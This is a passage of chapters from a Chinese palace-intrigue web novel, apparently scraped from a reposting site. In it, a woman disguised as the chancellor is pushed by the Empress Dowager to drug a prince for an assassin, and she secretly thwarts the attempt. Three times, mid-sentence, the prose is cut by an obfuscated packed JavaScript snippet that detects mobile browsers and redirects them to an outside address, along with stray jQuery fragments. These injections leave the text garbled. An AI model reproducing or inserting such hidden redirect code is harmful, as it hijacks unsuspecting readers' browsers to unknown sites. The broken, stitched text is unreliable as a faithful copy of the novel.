眼下萧肆正在怀疑她的身份，若能将其除掉，日后在朝中也不必提心吊胆，明明是个再好不过的机会…… 明姝打开屉子，里面躺着太后交给她的无梦散。 她不想伤害任何人，可若不杀萧肆，太后定会怀疑她与萧肆有私情，一旦丞相的位子不保，明家没了倚靠，便会重蹈上一世的覆辙。 没想到扳倒一个徐国公，竟会带来如此大的麻烦。 那厢，一阵叩门声响起，白九隔着门喊道：“大人，宫里的马车来接您了。” 明姝思绪回拢，这才想起今日便要启程前往行宫。 上一世家人惨死的场景还历历在目，她低眉看着手中的朱砂瓷瓶，良久后，像是下定了某种决心，将其藏入袖中。 …… 重阳前后出游是从先皇便留下的惯例，明姝上朝时曾听其他官员闲谈过一嘴，说行宫建在京郊一片茂林中，依山傍水，每到深秋便美不胜收。 除了皇亲国戚，位高权重的朝臣也会一同前往，两人一乘，皆由礼部事先安排。 小皇帝与太后一乘，萧肆则骑在高头大马上，随队前行。 明姝原以为自己会与哪个官员共乘，不想一上车却看见了徐妙音，脚下顿时一僵。 徐妙音眼眶微红，像是才哭过不久，见她来，忙伸手抹去眼角泪痕，挤出一个略显勉强的笑。 “丞相大人，许久不见。” 徐家上下被贬青州，唯有徐妙音，因着从小在太后身边长大，被太后留在了京城。 看她的反应，徐国公并未告诉她是谁害了徐家，毕竟一个女子孤身留在京城，即便知道了也于事无补，还会和丞相结下仇怨。 明姝袖袍下的手微微攥起，一时不知说些什么。 “让丞相大人见笑了，妙音只是突然想起去年此时，父亲和兄长都还在身边，可如今一转眼……就只剩下妙音一人了。” 说着，眼眶又红了几分，别过头去用手帕擦泪。 明姝道：“私铸兵器本是株连九族之罪，太后宽厚仁慈，并未从重处置，且青州一带富庶，国公操劳了大半辈子，日后能清闲度日也未尝不是一件坏事，郡主不必太过伤心。” 徐妙音点了点头，心中生出几分感激。 自徐家出事，多的是落井下石之人，那御史台的谢常安，一篇文章将爹爹骂得穷奸极恶，就连平日走在宫中，也有人在背后编排她是佞臣之女。 像明姝这般安慰她的，反倒是少数。 “若世人都能像丞相这般善解人意，便好了。” “……”明姝一时哑然，看对方时不时拿着手帕低头抹泪，一副支离破碎的模样，只觉有一块重石压在胸口，让她有些喘不过气来。 毕竟徐国公得此下场，都是她在背后推波助澜。 “马车里有些闷，我且出去透透气。” 随口找了个由头离开马车，寒风如同细小的刀片擦面而过，反倒让她轻松了一些。 徐国公私铸兵器触犯了永安律法不说，还残害了那么多百姓，如今只是得了自己该得的报应，可到头来，无论是太后还是徐妙音，都让她有种自己做错了的错觉。 早在查办私铸兵器一案时，她便写信问过阿兄，若是牵连到无辜之人该当如何。 阿兄说，她涉世太浅，想要在朝廷上站稳脚跟，就必须练就一副铁石心肠，能冷眼旁观他人生死而岿然不动。 她不明白，于是回信问，那与冷血无情有何分别？ 阿兄并未解释，只说她终有一日会明白这些。 这是她头一回，从向来与人为善的阿兄口中听到这种话。 “明兄？”忽而有人唤她。 明姝讶然回头，卫平澜正骑在马背上含笑瞧着她，意气风发的少年郎模样在一众护卫中尤为打眼。 “明兄不在马车里待着，怎么跑出来了？” 在卫平澜的印象里，明玦身子骨极弱，平日出行皆需马车代步，有时只是吹了冷风，回去也会大病一场。 明姝哪能告诉她自己是“做贼心虚”，只笑笑道：“车里太闷，便想着出来走走，卫兄这是……” 卫平澜翻身下马，牵着缰绳与她并肩而行，“本应禁军统领随队保护陛下安全，奈何人突然告了假，便由我代为负责了。” “原来如此。” 后方不远处，萧肆看着那道霜白身影跟着在卫平澜身旁，眸色不由得微沉。 二人不知聊了些什么，明姝刚来时还满腹心事的模样，没一会儿便被逗得抿嘴轻笑，露出一对清浅的梨涡。 恍然间，他想起沈遥枫那句“丞相是断袖”，眉头不自觉皱起。 从城门直到近郊，二人就这么说笑了一路，他也就这么看了一路。 行宫位于京城以南数十里的远郊，落脚时已是傍晚时分。 共有三殿四苑，虽不比皇宫，但容纳百十号人绰绰有余，明姝的厢房被安排在了东苑，对面便是萧肆的住处。 偌大的东苑，竟只住了他们二人，明姝清楚这是太后在给她创造下手的机会。 甫一进门，森冷的匕首便架在了脖颈上。 明姝一惊，昏暗中看不清对方面容，只听得一道女声：“丞相应该没忘记自己该做的事吧？” “……你是谁？” 来人三两下收了匕首，掏出火折子点亮灯烛，映出一张英气的面庞。 “柳若依，奉太后之命助丞相除掉秦王。” 明姝心有余悸地看着眼前女子，黑色劲装勾勒出高挑的身材，长发用银带束起，仅凭那娴熟的转刀手法便能看出是个练家子。 “是太后特意派柳姑娘来提醒明某的？” 柳若依不置可否：“为了今晚行动能够万无一失，还望丞相做好自己该做的事，否则，丞相应该明白同时忤逆太后与秦王的下场。” 明姝听出她话中的威胁，皱眉道：“无梦散只能让人暂时失去意识，之后柳姑娘有何打算？” “这个便不劳丞相费心了，平日秦王府里的餐食都有下人把关，但此处不同，丞相只需在晚膳时想办法让萧肆服下无梦散，待他熟睡后，我自会一刀刺穿他的心脏。” 明姝注意到她提起萧肆时，眼中尽是藏不住的恨意，“恕明某多言，柳姑娘可是和秦王有什么恩怨？” “萧肆作恶无数，手段卑劣，我的亲人皆死于他的手中，我只不过是万千个想杀他的人之一罢了。” 如此，明姝算是明白了太后的打算。 只让她下药却不让她杀人，是怕她心慈手软，错失了除掉萧肆的好时机，倒不如找来对萧肆恨之入骨的仇人，一刀毙命。 刺杀成，则除掉萧肆这一心腹大患，刺杀不成，她这个下药之人也难逃干系，日后再无与萧肆同盟的可能。 当真是好算计。 明姝深吸一口冷气，知道自己已经别无他选。 …… 晚些时候，东厨的人送来吃食，明姝让他们端去凉亭下的石桌上，独自来到了萧肆门前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105311|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 深吸一口气后，伸手叩响房门。 门扉开合时带起一阵松香，萧肆脱下了白日的护腕软甲，一副便衣打扮，高大的身形仅是站在那里便让人觉得压迫。 瞧见是她也不觉得惊讶，只斜倚在门旁等她开口。 明姝喉间发紧，面上却笑得温润：“先前徐国公一事，还未来得及向王爷道谢，今日夜色正好，便想着邀王爷到院中共进晚膳，聊表谢意。” 萧肆的目光从她头顶越过，看到了凉亭下已经布置好的晚膳，轻挑了下眉头，弯唇道：“不必了。” 他不信以对方的聪明程度，会看不出自己在利用她，如今说什么道谢，傻子也不信。 萧肆作势便要关门，明姝一急之下脱口而出：“王爷难道不想与我联手对付太后吗？” 关到一半的门倏然停住，萧肆的目光重新落在她脸上，带着几分审视。 明姝意识到自己失言，指尖微微收紧，只能硬着头皮继续：“或许……我们可以坐下来聊聊。” 如此，萧肆总算肯出来一叙，明姝松了口气，正欲抬脚跟上，膝窝突然一麻，整个人跌坐在青砖上。 先是在昭华宫外跪了一个多时辰，又徒步走了数里，再被柳若依和萧肆这么一吓，她早就有些站不住了。 听闻身后声响，萧肆脚步一顿，回头见她跌坐在地的模样，不免一哂：“丞相就这么害怕本王？” “……” 明姝耳根微红，腕骨在青砖上蹭出红痕，尝试几次也没站起。 看她这副模样，萧肆迈着长腿折回，将她毫不费力地从地上拦腰抱起。 明姝吓得低呼一声，双手忙环在他的颈后，“你……快放我下来！你莫不是疯了，被别人瞧见怎么办！” 她衣服里还裹着束胸，平日里跟人保持距离还来不及，他居然直接将她抱了起来！ 故意的！绝对是故意的！ 萧肆置若罔闻，走到凉亭里才将人放下，好整以暇看着她又急又气的模样，“丞相白日里跟卫将军谈笑风生，怎么到了本王这儿就判若两人了？” 费尽心思想要拉拢的人，到头来，见他像见了瘟神一样，白日里和卫平澜眉来眼去了一路，也不担心被人瞧了去。 嘴上说要和他联手，身体倒是一点也不撒谎。 明姝又羞又恼，偏还不能发作，只没好气道：“近来腿上不适，让王爷见笑了。” 关于她在昭华宫外跪了一个时辰的事，萧肆也有所耳闻，稍微一想便知，定是她暗中撺掇徐文钰的事情被太后知道了。 还是太嫩了。 萧肆薄唇掀起几分讥诮，“本王还以为丞相终于擦亮了眼，如今看来，是因为得罪了太后，弄得自己里外不是人了。” 明姝皮笑肉不笑：“既然王爷看得这般透彻，我是否能大胆猜测，徐国公一事是王爷故意透漏给太后的？” 萧肆轻笑一声：“所以在丞相眼里，本王就是那种当面一套背地一套的小人？” “怎么会，王爷在我眼里，是这世上最光明磊落的人。” 比如直接把玲珑玉坊的线索摆到她眼前，“光明磊落”地利用她。 萧肆怎会听不出她的阴阳怪气，弯了弯唇，修长的指骨摩挲着茶盏，“既然丞相愿与本王当同一条船上的人，本王自会让丞相在这高位上坐得安稳。” 明姝微微皱眉：“王爷这番话，难道觉得我是贪权慕禄之人？” 萧肆似笑非笑地盯着她：“难道不是？” “……”明姝被他一句反问噎住，突然有种从头到脚都被看透了的感觉。 她确实贪图丞相之位，但不是为了自己，而是为了明家。 萧肆倒是不在意这些，道：“想在朝堂上站稳脚跟，贪权慕禄也并非坏事。既然你我已是一条船上的人了，不如先交个底，比如……” 被那双暗流翻涌的漆眸盯着，明姝忽而觉得脊背发寒，袖下攥着无梦散的手微微收紧：“比如什么？” “你究竟叫什么名字？” 26. 鬼迷心窍 明姝心中咯噔一下，双手不自觉攥紧了衣裳，唇角仍维持着上扬弧度：“认识这么久，王爷难道还不知道我的名字？” 萧肆料想到她不会轻易承认，摊开手掌，掌心躺着一枚玉佩，正是在丹青祠被窃走的那枚。 “丞相可还识得此物？” 明姝喉头有些发紧，“自是认得，看来王爷已经找回了惠妃的遗物，若是落在那些强盗手中，还不知会被如何糟……” “啪——”话音未落，玉佩在萧肆指间折成两半。 明姝的笑容僵在脸上，恍然明白那玉佩根本就不是惠妃的遗物。 原来萧肆一早就猜到丹青祠刺杀是她的手笔，故意撒了个谎来戏弄她。 她好心将玉佩送去当铺，叮嘱掌柜不可交给秦王府以外的人，到头来却正中他的圈套。 “验明正身倒也不难。”萧肆目光如炬地盯着她，指尖敲了敲檀木案几，“丞相把衣裳脱了，看看有无伤疤便是。” 他自认阅人无数，可只有眼前这个人，让他总也看不透。 为了爬上丞相之位，不惜冒着欺君的风险，偏又有颗无用的善心，三番两次为了帮助别人而惹祸上身。 铁证如山，明姝的脸上终于有些挂不住了，事已至此，她知道再多的辩驳都苍白无力。 他会揭发她吗？还是想要以此来要挟她？ 既然他早就知道了，又为何现在才说？ 捕捉到她眼中藏不住的慌乱，萧肆唇角轻掀：“丞相倒也不必紧张，既是盟友，总要先彼此知根知底，不是么？” 明姝知道对方不得到答案就不会善罢甘休，只能随口编个男子的名字：“楚览，楚辞的楚，阅览的览。” “出身？” “江南林氏，父亲是当地县衙一个不知名的小官。” “你与明玦是什么关系？” “镇上闹洪水时，我不慎落水，明玦为人心善，不仅救了我，还将我在明府安置了几日，除此之外，再无任何交集。” 萧肆狭长的眸子微微眯起，显然对她的话半信半疑：“仅是如此，他便冒着欺君的罪名让你代他入京？” 明姝哽了哽，听见自己干涩的声音道：“他什么都不知道，是我背着他来的。” 无论如何，她都不想让此事牵连到阿兄，“太后懿旨传来的那日，我正巧在明府，明玦身子不好，受不住长途跋涉，本想一封信回绝了太后，可我却鬼迷心窍，觉得这是个再好不过的机会，加上街坊邻里都说我们长得有几分相似，我便从信差手里偷了信和懿旨，冒充他的身份来到了京城。” 一番解释下来，她的掌心已满是细汗，只有她清楚自己的话里究竟有多少破绽，而这些破绽，都需要日后的无数个谎言来圆。 萧肆半垂着眼，喉间溢出一声意味不明的低笑，“好一个鬼迷心窍。” 他没再继续追问，也许是已经信了，也许是听出她口中没有一句真话，再怎么问也是徒劳。 “王爷既然愿意替我保守秘密，我日后定会尽心竭力，助王爷铲除太后一党，夺得皇位。” 明姝起身为他斟上茶水，举杯正色道：“今日楚览以茶代酒，日后愿与王爷一荣俱荣，一损俱损。” 说罢，她仰头饮尽，将茶盏倒过来，里面已空空如也。 萧肆身形未动，一双深不见底的漆眸盯得她如芒在背。 他为何不喝？莫非是发现她在茶里下了药？ 明姝后背紧绷，几乎听得到自己擂鼓般的心跳，直到萧肆喉结滚动咽下茶水，她方觉背脊衣料已被汗湿透。 无梦散的药效在一个时辰以后，服下的人会逐渐失去气力，最终昏迷过去。 如果柳若依刺杀成功，是不是就再也没人知道她的秘密了？ 晚膳用罢后，二人各自回房，昏暗之中，明姝呼吸愈发急促，后背抵着冰凉的房门，木刺扎进掌心也浑然不觉。 难道……她真要变成一个双手沾血的人吗？ …… 子时三刻，距离无梦散起效只剩不到一盏茶的时间。 月光在案头书卷上淌出银痕，松香混着血腥气在帐幔间浮动。 一道高挑的身影无声无息地潜入，火折子映出榻上男人的面庞， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105312|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳若依捏紧了手中短匕，眼中恨意浓得如同化不开的墨。 等了这么久，她终于有机会亲手为自己的父母报仇。 当年父亲被乱棍打死，母亲含恨自缢，她绝不能让萧肆这个始作俑者死得这般轻松。 锋刃从榻上人的胸口处缓缓上移，最终悬停在他的眼前，正欲刺下时，却被陡然擒住了手腕。 萧肆不知何时醒了过来，眸中寒意凛然：“谁派你来的？” 柳若依冷笑一声，并不意外他会醒来，“等你下了地府，阎王爷自会告诉你。” 二人僵持了几息时间，柳若依力气逐渐不敌萧肆，最终被他擒着手腕向后一扳。 她疼得闷哼一声，松手的同时又用另一只手接过匕首，向着前方挥去，却被再度轻松度过。 火折子掉落在地，二人凭着月光交手，即便无梦散已经开始起效，但萧肆的依旧不可小觑，不出几个回合，柳若依便被一掌正中胸口，背靠墙壁呕出一口鲜血。 萧肆知道自己中了毒，强忍着脑中巨痛上前，一把掐住她的脖颈，将她整个人从地上拎起。 “谁派你来的？是太后，还是……明玦？” 提起“明玦”二字时，他的手背上凸起青筋，阴鸷的眼神似要将人剜下一层皮来。 其实他心里已经有了答案。 说什么一荣俱荣，一损俱损，到头来，全是诓骗他的把戏。 柳若依双脚离地，呼吸越发困难，嘴上咒骂着：“萧肆……你作恶多端，视人命如草芥，就该千刀万剐，死无葬身之地……” 无梦散一旦生效，便会在极短的时间内让人意识全无，纵然是萧肆这般身体硬朗之人，也只能强撑不过一刻钟的时间。 疼痛再度袭来时，他手上忽而卸力，视线模糊几乎不能视物。 “知道我为什么不等无梦散完全生效后再来么？”柳若依用手背拭去嘴角的血，捡起匕首朝他一步步走去，“就是为了让你在失去意识前，亲身体会体会被千刀万剐的滋味。” 她举起匕首女子，寒光直取咽喉。 “萧肆，去死吧！” 27. 掉马（上） “叮——”匕首即将落下的一瞬，被突如其来的长剑挑飞出去。 剑锋破空的清响在柳若依耳畔炸开，匕首被突如其来的寒光挑飞，钉入雕花木柱嗡嗡震颤。 卫平澜眸色森冷，剑刃直指她的咽喉：“行刺亲王，好大的胆子。” 柳若依后腰撞上紫檀案几，案上青瓷茶盏叮当乱颤。她认出眼前人是燕州统帅，交起手来毫无胜算，于是突然扬手，袖中白粉如雪雾爆开。 卫平澜抬臂遮眼的瞬间，木窗轰然炸裂，黑色身影已消失在了夜色之中。 禁军铁靴踏碎庭中薄霜的声响由远及近，火把将东苑照得亮如白昼。 陆尧甫一赶到，便看到一身手矫健的女子沿着屋檐逃走，担心萧肆有个三长两短，匆忙冲进了房间。 “王爷！” 彼时卫平澜已将人扶至塌边，萧肆唇色泛青，用力一掌打在自己的胸口，逼出一口毒血才得以清醒了些。 卫平澜道：“王爷应是中毒了，好在毒性不强，不足以致命。” “中毒？” 陆尧盯着锦被上的血渍瞳孔微缩——他跟了萧肆这么多年，从来只见萧肆算计别人，头一次见他着了别人的道。 “可是东厨送来的晚膳有毒？” 萧肆未置可否，卫平澜想起明玦也在东苑，霍然起身道：“这里暂且交给陆兄了，我得去丞相那里看看。” 说罢，他拿起长剑快步离去，陆尧想要上前搀扶，却被萧肆一个抬手制止。 他看向窗外四处搜查刺客的禁军，哑声开口：“禁军为何会来？” 陆尧从怀中掏出一支断箭递到烛光下，“方才有人向卫将军房中射了一箭，箭上绑着纸条，说今夜有人要行刺王爷，原当是宵小作乱，没想到……” 若卫平澜来得再晚些，不知那女刺客是不是已经得手了。 “王爷，你可认得那刺客是谁？” 萧肆摇了摇头，他走到今天，手上沾了太多人的血，多到根本记不清每一个人是谁。 不过，他虽不认识那女刺客，却能猜到是谁在晚膳里下了毒。 此事十有八九是太后授意，他一而再再而三地对明玦抛出橄榄枝，可到头来，他还是选择站在太后那边，伙同他人对自己下手。 既如此，无论他是明玦还是楚览，都再留不得了。 那厢，卫平澜在明姝门前敲过三声仍无应答，反手抽剑劈断门闩，直闯了进去。 所幸榻上人只是中毒昏了过去，呼吸依旧平稳无恙，约莫明早便能苏醒。 以防刺客去而复返，他命禁军一队守在东苑，自己则带着另一队人，沿着足迹彻夜追捕。 翌日，明姝被一阵叩门声吵醒，来的是太后身边的李公公，说紫云殿宴会已经开始，太后见她不在，特意派人来知会一声。 清晨的薄雾已经散去，看日头约莫已是巳时过半。 为了不引起怀疑，她临睡时也饮了一杯无梦散，一觉睡得无比酣然，醒来后脑袋还在发胀。 李公公瞧她面色虚弱，好心提醒道：“昨夜东苑进了刺客，眼下这四周都已加强了戒备，丞相大人自个儿也要多加当心。” “刺客？”明姝借机打听，“那可有人受伤？” “王爷受了些皮外伤，好在没什么大碍，那刺客也被卫将军捉了起来，只是不知还有没有同伙，丞相大人若是发现什么可疑之人，可千万要保护好自己。” “多谢李公公提醒。” 回屋仔细梳妆罢，明姝前往紫云殿，彼时宴会已经开始，千百朵菊花簇拥的台上，舞姬正身披薄纱轻歌曼舞，恍若流连于花丛的彩蝶。 明姝的目光在一众人身上逡巡，像是在找寻什么，直至看到台下那道熟悉的玄色背影，一颗心才总算放了下去。 昨夜，当萧肆戳穿她是冒牌货的那一刻，她确确实实动摇过。 可到最后，她还是做不出这般低劣之事。 无论是父母还是阿兄，都自小教她行善积德，有罪之人，应交于律法处置，而非这些见不得人的手段。 昨夜摔倒是真，但崴脚是她演的，中毒也是她演的，萧肆回房后，她便给卫平澜递了消息，让他速去救人。 她不能被太后牵着鼻子走，落下谋害亲王的把柄，也不能让太后觉得她有二心，有意袒护萧肆，思来想去，只剩这么一个破局之法。 在太后看来，她已经做了所有该做的事，是禁军的突然出现导致了功亏一篑。 禁军本就负责行宫的戒备，出现在东苑并非什么稀奇事，况且，若萧肆有个三长两短，太也定会揣着明白装糊涂，以失职为由降下责罚。 如此一来，也算是帮卫平澜和那些禁军免去了不白之冤。 余下的难题，便是想个法子在萧肆面前蒙混过关。 落座后，明姝因紧张有些心跳加快，斟酌着开口：“听闻昨夜东苑进了刺客，所幸王爷安然无恙。” 萧肆甚至没有转头看她一眼，只弯了弯唇，眼底比平日都要阴鸷不少，“看到本王安然无恙坐在这里，丞相不是应该失望么？” “王爷何出此言？” “昨夜丞相邀本王到院中共饮，结果当晚便中毒遇刺，如此巧合，丞相就不想解释解释？” 明姝猜到他会怀疑自己，来时便想好了说辞：“昨夜我已将身份告知王爷，王爷手中捏着我的把柄，我怎敢轻举妄动？况且，王爷吃过的每一道菜，我也都曾吃过，也同王爷一样中了毒，若非王爷遇刺，我倒想问问王爷为何要给我下毒。” 反客为主，倒打一耙。 萧肆轻笑一声，终于将目光从台上舞姬挪开，看到她攥着茶盏的手指泛白，指尖快要陷进了肉里还浑然不觉。 “说笑而已，不必紧张。” “……听李公公说，刺客今早已经抓到了。” 萧肆不轻不重地“嗯”了一声，“太后已下令将人斩首，丞相若是早来一些，兴许还能亲眼瞧瞧。” 斩首……？ 明姝微微一怔，她原以为这一计能保住所有人，却没想到刺杀失败会让柳若依丢了性命。 太后不但不想办法保人，还着急将人灭口，甚至不给大理寺一个押候审问的机会。 “那……王爷可知那刺客为何要行刺？” 萧肆道：“沧州军与北狄十几年来冲突不断，北狄国力不及永安，常用一些不入流的手段。当年沧州军中便有一位姓柳的副将受了北狄贿赂，将我方屯放粮草之处泄露了出去，事后，本王按照军纪，下令将其乱棍打死以儆效尤。” 明姝很快明白，柳若依也姓柳，十有八九是那位副官的女儿。 通敌叛国本就是十恶不赦的重罪，若真是如此，萧肆也只是依照军法惩治叛徒而已。 萧肆见她敛眸思索这什么，无甚笑意地掀掀唇角：“丞相怎么不继续问问，那刺客和副官有什么关系？还是说……丞相本就知道那刺客也姓柳？” 明姝这才发觉他在话里下了套，冷静道：“听李公公说，那刺客是个年纪尚轻的女子，一介女子竟有胆魄行刺亲王，想来是为了至亲之人。只是……通敌叛国乃是重罪，那刺客将此仇记在王爷头上，倒是有些掂量不清了。” 提到私通外敌，明姝不由得想起太后曾说过，当年天野关一役正是萧肆大开城门才害得几万将士和百姓尸骨无存。 那日，太后明显有意在她面前贬低萧肆，因此她不敢轻易相信对方的一面之词。 本想问问萧肆此事是真是假，可又担心哪句话说得不妥触怒了他，只能旁叫侧击探探口风：“王爷……应该十分痛恨背叛之人吧？” 乐师的琴声由高转低，最后只剩一道悠长余音，曲罢，舞姬们朝着上首盈盈一礼，施然退场。 风乍起，枝头吹落的枯叶悠悠飘落在萧肆肩头，被他掸落在掌心。 “丞相只需知道，不管是从前还是现在，背叛本王的人只会有一个下场。” 明姝凝目望去，只见他缓缓摊开手掌，落叶已被碾了个粉碎。 …… 傍晚时分，徐妙音带着医官来了东苑，说担心明姝体内毒素未清，日后难保留下什么病根子，还是让懂医的人仔细瞧瞧为好。 明姝担心把脉会暴露自己的身份，只说自己这些年泡在药罐子里，多多少少比常人耐药，身子早已没什么大碍。 如此，徐妙音只能让医馆先行退下，从袖中取出一只护身符，“这是妙音从护国寺亲自求来的，听说昨日东苑进了刺客，所幸有惊无险，丞相将这护身符带在身上，来日说不定能护佑一二。” 明姝向来不喜欢收别人的东西，可一想到徐家是因她被贬，徐妙音至今还蒙在鼓里对她百般关心，实在狠不下心拒绝。 “如此，便谢过郡主了。” 她接过护身符，心里盘算着日后得寻个时机，让对方断了念想才是，毕竟即便没有徐家那档子事，对方心心念念她一个女子，只会白白耽搁了大好年华。 二人时候又闲谈了几句，徐妙音见天色已晚便要起身告辞，明姝秉着待客之道将人送至门外，去见她脚下踌躇。 “郡主可是还有旁的事？” 徐妙音手指轻绞着衣角，有些不好意思道：“说出来不怕丞相笑话，我自小怕黑，又对这行宫甚是陌生，可否……劳烦丞相送我一程？” 明姝抬眸看了眼天色，白日还晴空万里，到了傍晚便乌云蔽月，连星星也没剩下几颗。 兴许明日就要下雨了。 她虽然也怕黑，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15105313|163845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟是戒备森严的行宫，处处都有禁军巡逻，总不会像山里那般跳出洪水猛兽来。 “既如此，我便送郡主回北苑吧。” 徐妙音一喜，心中生出几分感激：“多谢丞相大人。” 屋顶上，陆尧将一切尽收眼底，看到明姝跟徐妙音一同向北苑的方向走去，朝着暗处使了个眼色。 对方立时心领神会，两三下翻窗进了房间。 一切安排妥当，陆尧回萧肆跟前复命：“王爷，方才趁着丞相离开了东苑，我们的人已经埋伏在了屋里。” 萧肆长身肃立于窗前，望着天边圆月被乌云掩得透不出一丝光亮，口中唯有冷冷几字：“待人回来，直接动手。” “……是。” 自从萧肆从沧州回来，陆尧便一直跟在他身边，眼睁睁看他从力穷势孤到如今权倾朝野，一路上不知除掉了多少绊脚石，本该见惯了他的杀伐果断，如今却生出了几分动摇。 “王爷当真打算今夜除掉丞相么？万一下毒的另有他人……” 他也算跟明玦打过几次交道，虽说不是自己人，但至少是位待人有礼、心怀百姓的好官。 萧肆手下的暗卫个个都是精锐，绝不会像昨夜的女刺客一样失手，只要下令，明玦可以说是必死无疑。 “依你看，这偌大的东苑为何只住了本王与丞相？” 往年也有重阳出游的惯例，三殿四苑中除了紫云殿与庆安殿，安排的人数都大同小异，从未有过一苑只住二人的先例。 陆尧虽不如萧肆那般敏锐，但一点就通。 行宫的衣食住皆由礼部一应操持，而能使唤礼部的除了小皇帝便是太后，小皇帝平日里最黏萧肆，自是不可能下毒行刺。 “王爷的意思是……太后与丞相背地里串通了要杀您？” 萧肆倒希望并非如此，可白日里几句有意无意的试探，已经让他看穿了明玦。 明玦实在不擅长撒谎。 仔细想来，毒应该就下在茶壶里，自己来时茶盏空空如也，只有明玦的那盏是提前倒好的。 陆尧想起昨夜之事，犹豫着开口：“属下有个推测，昨夜给卫将军送信的会不会就是丞相？若此事丞相当真参与其中，那他便是为数不多的知情人，除此之外，再想不到其他能通信的了。” 闻言，萧肆低笑一声，嘴角噙着几分自嘲。 事发之时，他便想过这种可能，可一个连弓都拉不开，又崴了脚的人，如何在短时间内去给卫平澜通风报信？ 也许明玦是受了太后逼迫，不得已而为之，可自己一而再再而三地向他递出橄榄枝，他并非没有别的选择。 只要明玦愿意相信他，他便能从太后手中保他周全。 然而，他到底还是选了别人。 …… 从东苑到北苑不过一炷香的时辰，天上已是阴云密布，电闪雷鸣惊动了枝头雀鸟，振振翅膀不知飞向何处。 须臾，细雨裹挟着冰凉沁骨的寒，淅淅沥沥敲打在青瓦雕甍上。 “瞧这雨，应该很快便要下大了，丞相先进屋稍坐片刻，妙音为丞相寻把伞来。” 明姝颔首道：“今夜天色已晚，我身为男子，随意进出郡主的闺房实在于礼不合，在屋外等着便好。” 虽有屋檐，但还是挡不住雨丝斜飞入脖颈，徐妙音再度劝道：“丞相好心陪妙音回来，若是让旁人知道妙音让您在屋外淋雨，再惹了什么风寒，传出去可就是妙音的不对了。” 如此，明姝不好再推脱。 踏入房间的一瞬，扑面而来的是女儿家闺房里特有的香气，明姝曾经也喜欢摆弄香囊荷包，自认对香料还算有些了解，却在其中嗅到一味叫不上名字的异香。 似有若无，清浅飘逸，许是京中特有的名贵香料。 “丞相先在这儿稍坐片刻，屋里的东西都是下人提前置办好的，也不知将伞放到了何处。” 徐妙音替她沏了一盏雪芽茶便进了内室，半晌不见人出来，只能隐隐听到翻动东西的声音。 明姝也不好催促，端起茶盏轻呷了一口，秀眸望向窗外，雨势比方才还要大上不少，明日赏菊怕是要耽搁了。 狂风打得树叶哗然作响，时而落下的响雷足以映亮半边天，本该寒意入骨，明姝却不知为何，觉得身上愈发燥热。 她轻揉着太阳穴，口干舌燥之余伸手去端茶，却发现盏中已经空空如也。 炭盆里分明没烧炭火，怎么屋里头这般闷热？ 她檀口微张吐着热气，伸手将领口向外展了展，可依旧觉得不够凉爽，想去开窗透气，结果刚一起身，四肢却像不听使唤般险些跌坐回去。 不对…… 她忽而意识到了什么，警觉地看向手边的白玉香炉。